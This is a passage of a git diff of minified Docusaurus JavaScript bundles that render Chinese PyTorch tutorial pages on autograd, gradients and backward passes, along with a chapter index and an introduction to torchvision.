\u662f\u4e00\u4e2a\u6807\u91cf(\u5373\u5b83\u5305\u542b\u4e00\u4e2a\u5143\u7d20\u7684\u6570\u636e\uff09\uff0c\u5219\u4e0d\u9700\u8981\u4e3a ",(0,d.jsx)(e.code,{children:"backward() "}),"\u6307\u5b9a\u4efb\u4f55\u53c2\u6570\uff0c\u4f46\u662f\u5982\u679c\u5b83\u6709\u66f4\u591a\u7684\u5143\u7d20\uff0c\u5219\u9700\u8981\u6307\u5b9a\u4e00\u4e2a",(0,d.jsx)(e.code,{children:"gradient"}),"\u53c2\u6570\uff0c\u8be5\u53c2\u6570\u662f\u5f62\u72b6\u5339\u914d\u7684\u5f20\u91cf\u3002"]}),"\n",(0,d.jsxs)(e.p,{children:["\u521b\u5efa\u4e00\u4e2a\u5f20\u91cf\u5e76\u8bbe\u7f6e",(0,d.jsx)(e.code,{children:"requires_grad=True"}),"\u7528\u6765\u8ffd\u8e2a\u5176\u8ba1\u7b97\u5386\u53f2"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"x = torch.ones(2, 2, requires_grad=True)\nprint(x)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([[1., 1.],\n [1., 1.]], requires_grad=True)\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u5bf9\u8fd9\u4e2a\u5f20\u91cf\u505a\u4e00\u6b21\u8fd0\u7b97\uff1a"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"y = x**2\nprint(y)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([[1., 1.],\n [1., 1.]], grad_fn=)\n"})}),"\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"y"}),"\u662f\u8ba1\u7b97\u7684\u7ed3\u679c\uff0c\u6240\u4ee5\u5b83\u6709",(0,d.jsx)(e.code,{children:"grad_fn"}),"\u5c5e\u6027\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"print(y.grad_fn)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u5bf9 y \u8fdb\u884c\u66f4\u591a\u64cd\u4f5c"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"z = y * y * 3\nout = z.mean()\n\nprint(z, out)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([[3., 3.],\n [3., 3.]], grad_fn=) tensor(3., grad_fn=)\n"})}),"\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:".requires_grad_(...) "}),"\u539f\u5730\u6539\u53d8\u4e86\u73b0\u6709\u5f20\u91cf\u7684",(0,d.jsx)(e.code,{children:"requires_grad"}),"\u6807\u5fd7\u3002\u5982\u679c\u6ca1\u6709\u6307\u5b9a\u7684\u8bdd\uff0c\u9ed8\u8ba4\u8f93\u5165\u7684\u8fd9\u4e2a\u6807\u5fd7\u662f",(0,d.jsx)(e.code,{children:" False"}),"\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"a = torch.randn(2, 2) # \u7f3a\u5931\u60c5\u51b5\u4e0b\u9ed8\u8ba4 requires_grad = False\na = ((a * 3) / (a - 1))\nprint(a.requires_grad)\na.requires_grad_(True)\nprint(a.requires_grad)\nb = (a * a).sum()\nprint(b.grad_fn)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"False\nTrue\n\n"})}),"\n",(0,d.jsx)(e.h2,{id:"221-\u68af\u5ea6",children:"2.2.1 \u68af\u5ea6"}),"\n",(0,d.jsxs)(e.p,{children:["\u73b0\u5728\u5f00\u59cb\u8fdb\u884c\u53cd\u5411\u4f20\u64ad\uff0c\u56e0\u4e3a",(0,d.jsx)(e.code,{children:" out"})," \u662f\u4e00\u4e2a\u6807\u91cf\uff0c\u56e0\u6b64",(0,d.jsx)(e.code,{children:"out.backward()"}),"\u548c",(0,d.jsx)(e.code,{children:" out.backward(torch.tensor(1.))"})," \u7b49\u4ef7\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"out.backward()\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u8f93\u51fa\u5bfc\u6570",(0,d.jsx)(e.code,{children:" d(out)/dx"})]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"print(x.grad)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([[3., 3.],\n [3., 3.]])\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u6570\u5b66\u4e0a\uff0c\u82e5\u6709\u5411\u91cf\u51fd\u6570$\\vec{y}=f(\\vec{x})$\uff0c\u90a3\u4e48 $\\vec{y}$ \u5173\u4e8e $\\vec{x}$ \u7684\u68af\u5ea6\u5c31\u662f\u4e00\u4e2a\u96c5\u53ef\u6bd4\u77e9\u9635\uff1a\n$\nJ=\\left(\\begin{array}{ccc}\\frac{\\partial y_{1}}{\\partial x_{1}} & \\cdots & \\frac{\\partial y_{1}}{\\partial x_{n}} \\ \\vdots & \\ddots & \\vdots \\ \\frac{\\partial y_{m}}{\\partial x_{1}} & \\cdots & \\frac{\\partial y_{m}}{\\partial x_{n}}\\end{array}\\right)\n$\n\u800c ",(0,d.jsx)(e.code,{children:"torch.autograd"})," \u8fd9\u4e2a\u5305\u5c31\u662f\u7528\u6765\u8ba1\u7b97\u4e00\u4e9b\u96c5\u53ef\u6bd4\u77e9\u9635\u7684\u4e58\u79ef\u7684\u3002\uf9b5\u5982\uff0c\u5982\u679c $v$ \u662f\u4e00\u4e2a\u6807\uf97e\u51fd\u6570 $l = g(\\vec{y})$ \u7684\u68af\u5ea6\uff1a\n$\nv=\\left(\\begin{array}{lll}\\frac{\\partial l}{\\partial y_{1}} & \\cdots & \\frac{\\partial l}{\\partial y_{m}}\\end{array}\\right)\n$\n\u7531\u94fe\u5f0f\u6cd5\u5219\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\uff1a\n$\nv J=\\left(\\begin{array}{lll}\\frac{\\partial l}{\\partial y_{1}} & \\cdots & \\frac{\\partial l}{\\partial y_{m}}\\end{array}\\right)\\left(\\begin{array}{ccc}\\frac{\\partial y_{1}}{\\partial x_{1}} & \\cdots & \\frac{\\partial y_{1}}{\\partial x_{n}} \\ \\vdots & \\ddots & \\vdots \\ \\frac{\\partial y_{m}}{\\partial x_{1}} & \\cdots & \\frac{\\partial y_{m}}{\\partial x_{n}}\\end{array}\\right)=\\left(\\begin{array}{lll}\\frac{\\partial l}{\\partial x_{1}} & \\cdots & \\frac{\\partial l}{\\partial x_{n}}\\end{array}\\right)\n$"]}),"\n",(0,d.jsx)(e.p,{children:"\u6ce8\u610f\uff1agrad\u5728\u53cd\u5411\u4f20\u64ad\u8fc7\u7a0b\u4e2d\u662f\u7d2f\u52a0\u7684(accumulated)\uff0c\u8fd9\u610f\u5473\u7740\u6bcf\u4e00\u6b21\u8fd0\ufa08\u53cd\u5411\u4f20\u64ad\uff0c\u68af\u5ea6\u90fd\u4f1a\u7d2f\u52a0\u4e4b\u524d\u7684\u68af\u5ea6\uff0c\u6240\u4ee5\u4e00\u822c\u5728\u53cd\u5411\u4f20\u64ad\u4e4b\u524d\u9700\u628a\u68af\u5ea6\u6e05\u96f6\u3002"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"# \u518d\u6765\u53cd\u5411\u4f20\u64ad\u2f00\u4e00\u6b21\uff0c\u6ce8\u610fgrad\u662f\u7d2f\u52a0\u7684\nout2 = x.sum()\nout2.backward()\nprint(x.grad)\n\nout3 = x.sum()\nx.grad.data.zero_()\nout3.backward()\nprint(x.grad)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([[4., 4.],\n [4., 4.]])\ntensor([[1., 1.],\n [1., 1.]])\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u73b0\u5728\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u96c5\u53ef\u6bd4\u5411\u91cf\u79ef\u7684\u4f8b\u5b50\uff1a"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"x = torch.randn(3, requires_grad=True)\nprint(x)\n\ny = x * 2\ni = 0\nwhile y.data.norm() < 1000:\n y = y * 2\n i = i + 1\nprint(y)\nprint(i)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([-0.9332, 1.9616, 0.1739], requires_grad=True)\ntensor([-477.7843, 1004.3264, 89.0424], grad_fn=)\n8\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c",(0,d.jsx)(e.code,{children:"y "}),"\u4e0d\u518d\u662f\u6807\u91cf\u3002",(0,d.jsx)(e.code,{children:"torch.autograd"})," \u4e0d\u80fd\u76f4\u63a5\u8ba1\u7b97\u5b8c\u6574\u7684\u96c5\u53ef\u6bd4\u77e9\u9635\uff0c\u4f46\u662f\u5982\u679c\u6211\u4eec\u53ea\u60f3\u8981\u96c5\u53ef\u6bd4\u5411\u91cf\u79ef\uff0c\u53ea\u9700\u5c06\u8fd9\u4e2a\u5411\u91cf\u4f5c\u4e3a\u53c2\u6570\u4f20\u7ed9 ",(0,d.jsx)(e.code,{children:"backward\uff1a"})]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"v = torch.tensor([0.1, 1.0, 0.0001], dtype=torch.float)\ny.backward(v)\n\nprint(x.grad)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([5.1200e+01, 5.1200e+02, 5.1200e-02])\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u4e5f\u53ef\u4ee5\u901a\u8fc7\u5c06\u4ee3\u7801\u5757\u5305\u88c5\u5728",(0,d.jsx)(e.code,{children:" with torch.no_grad():"})," \u4e2d\uff0c\u6765\u963b\u6b62 autograd \u8ddf\u8e2a\u8bbe\u7f6e\u4e86",(0,d.jsx)(e.code,{children:".requires_grad=True"}),"\u7684\u5f20\u91cf\u7684\u5386\u53f2\u8bb0\u5f55\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"print(x.requires_grad)\nprint((x ** 2).requires_grad)\n\nwith torch.no_grad():\n print((x ** 2).requires_grad)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"True\nTrue\nFalse\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u5982\u679c\u6211\u4eec\u60f3\u8981\u4fee\u6539 tensor \u7684\u6570\u503c\uff0c\u4f46\u662f\u53c8\uf967\u5e0c\u671b\u88ab autograd \u8bb0\u5f55(\u5373\uf967\u4f1a\u5f71\u54cd\u53cd\u5411\u4f20\u64ad)\uff0c \u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5bf9 tensor.data \u8fdb\ufa08\u64cd\u4f5c\u3002"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"x = torch.ones(1,requires_grad=True)\n\nprint(x.data) # \u8fd8\u662f\u4e00\u4e2atensor\nprint(x.data.requires_grad) # \u4f46\u662f\u5df2\u7ecf\u662f\u72ec\u7acb\u4e8e\u8ba1\u7b97\u56fe\u4e4b\u5916\n\ny = 2 * x\nx.data *= 100 # \u53ea\u6539\u53d8\u4e86\u503c\uff0c\u4e0d\u4f1a\u8bb0\u5f55\u5728\u8ba1\u7b97\u56fe\uff0c\u6240\u4ee5\u4e0d\u4f1a\u5f71\u54cd\u68af\u5ea6\u4f20\u64ad\n\ny.backward()\nprint(x) # \u66f4\u6539data\u7684\u503c\u4e5f\u4f1a\u5f71\u54cdtensor\u7684\u503c \nprint(x.grad)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([1.])\nFalse\ntensor([100.], requires_grad=True)\ntensor([2.])\n"})})]})}function h(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,d.jsx)(e,{...n,children:(0,d.jsx)(o,{...n})}):o(n)}},28453:(n,e,r)=>{r.d(e,{R:()=>s,x:()=>t});var a=r(96540);const d={},c=a.createContext(d);function s(n){const e=a.useContext(c);return a.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function t(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(d):n.components||d:s(n.components),a.createElement(c.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/d28810ad.c594ea14.js b/en/assets/js/d28810ad.c594ea14.js new file mode 100644 index 0000000..d002a05 --- /dev/null +++ b/en/assets/js/d28810ad.c594ea14.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1101],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var s=n(96540);const r={},l=s.createContext(r);function c(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),s.createElement(l.Provider,{value:t},e.children)}},52803:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/README","title":"\u7b2c\u4e09\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907"},"next":{"title":"3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206"}}');var r=n(74848),l=n(28453);const c={},i="\u7b2c\u4e09\u7ae0",d={},o=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u7b2c\u4e09\u7ae0",children:"\u7b2c\u4e09\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:14"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 18:21:57"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"\u7b2c\u4e09\u7ae0pytorch\u7684\u4e3b\u8981\u7ec4\u6210\u6a21\u5757",children:"\u7b2c\u4e09\u7ae0\uff1aPyTorch\u7684\u4e3b\u8981\u7ec4\u6210\u6a21\u5757"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206\n3.2 \u57fa\u672c\u914d\u7f6e\n3.3 \u6570\u636e\u8bfb\u5165\n3.4 \u6a21\u578b\u6784\u5efa\n3.5 \u6a21\u578b\u521d\u59cb\u5316\n3.6 \u635f\u5931\u51fd\u6570\n3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30\n3.8 \u53ef\u89c6\u5316\n3.9 \u4f18\u5316\u5668\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/d3571583.c3ad3c6f.js b/en/assets/js/d3571583.c3ad3c6f.js new file mode 100644 index 0000000..3ce3a48 --- /dev/null +++ b/en/assets/js/d3571583.c3ad3c6f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6029],{28453:(n,e,s)=>{s.d(e,{R:()=>o,x:()=>c});var i=s(96540);const r={},t=i.createContext(r);function o(n){const e=i.useContext(t);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:o(n.components),i.createElement(t.Provider,{value:e},n.children)}},75226:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>h,contentTitle:()=>c,default:()=>x,frontMatter:()=>o,metadata:()=>i,toc:()=>l});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision","title":"8.2 \u56fe\u50cf - torchvision.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"8.1 \u672c\u7ae0\u7b80\u4ecb.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb"},"next":{"title":"8.3 \u89c6\u9891 - PyTorchVideo.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo"}}');var r=s(74848),t=s(28453);const o={},c="8.2 \u56fe\u50cf - torchvision.md",h={},l=[{value:"8.2.1 torchvision\u7b80\u4ecb",id:"821-torchvision\u7b80\u4ecb",level:2},{value:"8.2.2 torchvision.datasets",id:"822-torchvisiondatasets",level:2},{value:"8.2.3 torchvision.transforms",id:"823-torchvisiontransforms",level:2},{value:"8.2.4 torchvision.models",id:"824-torchvisionmodels",level:2},{value:"8.2.5 torchvision.io",id:"825-torchvisionio",level:2},{value:"8.2.6 torchvision.ops",id:"826-torchvisionops",level:2},{value:"8.2.7 torchvision.utils",id:"827-torchvisionutils",level:2}];function d(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"82-\u56fe\u50cf---torchvisionmd",children:"8.2 \u56fe\u50cf - torchvision.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:30"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"82-torchvision",children:"8.2 torchvision"}),"\n",(0,r.jsx)(e.p,{children:"PyTorch\u4e4b\u6240\u4ee5\u4f1a\u5728\u77ed\u77ed\u7684\u51e0\u5e74\u65f6\u95f4\u91cc\u53d1\u5c55\u6210\u4e3a\u4e3b\u6d41\u7684\u6df1\u5ea6\u5b66\u4e60\u6846\u67b6\uff0c\u9664\u53bb\u6846\u67b6\u672c\u8eab\u7684\u4f18\u52bf\uff0c\u8fd8\u5728\u4e8ePyTorch\u6709\u7740\u826f\u597d\u7684\u751f\u6001\u5708\u3002\u5728\u524d\u9762\u7684\u5b66\u4e60\u548c\u5b9e\u6218\u4e2d\uff0c\u6211\u4eec\u7ecf\u5e38\u4f1a\u7528\u5230torchvision\u6765\u8c03\u7528\u9884\u8bad\u7ec3\u6a21\u578b\uff0c\u52a0\u8f7d\u6570\u636e\u96c6\uff0c\u5bf9\u56fe\u7247\u8fdb\u884c\u6570\u636e\u589e\u5f3a\u7684\u64cd\u4f5c\u3002\u5728\u672c\u7ae0\u6211\u4eec\u5c06\u7ed9\u5927\u5bb6\u7b80\u5355\u4ecb\u7ecd\u4e0btorchvision\u4ee5\u53ca\u76f8\u5173\u64cd\u4f5c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u4e86\u89e3torchvision"}),"\n",(0,r.jsx)(e.li,{children:"\u4e86\u89e3torchvision\u7684\u4f5c\u7528"}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"821-torchvision\u7b80\u4ecb",children:"8.2.1 torchvision\u7b80\u4ecb"}),"\n",(0,r.jsx)(e.p,{children:'" The torchvision package consists of popular datasets, model architectures, and common image transformations for computer vision. "'}),"\n",(0,r.jsx)(e.p,{children:"\u6b63\u5982\u5f15\u8a00\u4ecb\u7ecd\u7684\u4e00\u6837\uff0c\u6211\u4eec\u53ef\u4ee5\u77e5\u9053torchvision\u5305\u542b\u4e86\u5728\u8ba1\u7b97\u673a\u89c6\u89c9\u4e2d\u5e38\u5e38\u7528\u5230\u7684\u6570\u636e\u96c6\uff0c\u6a21\u578b\u548c\u56fe\u50cf\u5904\u7406\u7684\u65b9\u5f0f\uff0c\u800c\u5177\u4f53\u7684torchvision\u5219\u5305\u62ec\u4e86\u4e0b\u9762\u8fd9\u51e0\u90e8\u5206\uff0c\u5e26 ***** \u7684\u90e8\u5206\u662f\u6211\u4eec\u7ecf\u5e38\u4f1a\u4f7f\u7528\u5230\u7684\u4e00\u4e9b\u5e93\uff0c\u6240\u4ee5\u5728\u4e0b\u9762\u7684\u90e8\u5206\u6211\u4eec\u5bf9\u8fd9\u4e9b\u5e93\u8fdb\u884c\u4e00\u4e2a\u7b80\u5355\u7684\u4ecb\u7ecd\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"torchvision.datasets *"}),"\n",(0,r.jsx)(e.li,{children:"torchvision.models *"}),"\n",(0,r.jsx)(e.li,{children:"torchvision.tramsforms *"}),"\n",(0,r.jsx)(e.li,{children:"torchvision.io"}),"\n",(0,r.jsx)(e.li,{children:"torchvision.ops"}),"\n",(0,r.jsx)(e.li,{children:"torchvision.utils"}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"822-torchvisiondatasets",children:"8.2.2 torchvision.datasets"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"torchvision.datasets"}),"\u4e3b\u8981\u5305\u542b\u4e86\u4e00\u4e9b\u6211\u4eec\u5728\u8ba1\u7b97\u673a\u89c6\u89c9\u4e2d\u5e38\u89c1\u7684\u6570\u636e\u96c6\uff0c\u5728==0.10.0\u7248\u672c==\u7684",(0,r.jsx)(e.code,{children:"torchvision"}),"\u4e0b\uff0c\u6709\u4ee5\u4e0b\u7684\u6570\u636e\u96c6\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{children:"Caltech"}),(0,r.jsx)(e.th,{children:"CelebA"}),(0,r.jsx)(e.th,{children:"CIFAR"}),(0,r.jsx)(e.th,{children:"Cityscapes"})]})}),(0,r.jsxs)(e.tbody,{children:[(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"EMNIST"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"FakeData"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"Fashion-MNIST"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"Flickr"})})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"ImageNet"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"Kinetics-400"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"KITTI"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"KMNIST"})})]}),(0,r.jsxs)(e.tr,{children:[